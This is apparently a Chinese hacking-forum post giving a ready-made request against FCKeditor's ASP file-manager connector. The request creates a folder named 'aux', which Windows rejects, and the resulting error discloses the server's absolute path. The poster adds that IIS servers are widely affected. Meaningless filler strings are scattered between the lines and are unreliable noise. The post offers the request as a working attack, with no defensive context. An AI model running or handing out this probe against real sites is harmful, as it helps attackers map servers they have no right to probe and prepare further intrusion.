最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux


版本未测试。。。
- w( O0 g8 P/ ^- Z8 x
7 W* L, j, ^  v0 d4 V. R6 A原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
# M( r8 [! }9 A% x
7 Y0 Z7 w/ M' P- j7 l. e! c
6 o4 N7 D1 J+ Q! }- B4 ?) V# c听说IIS都可以。。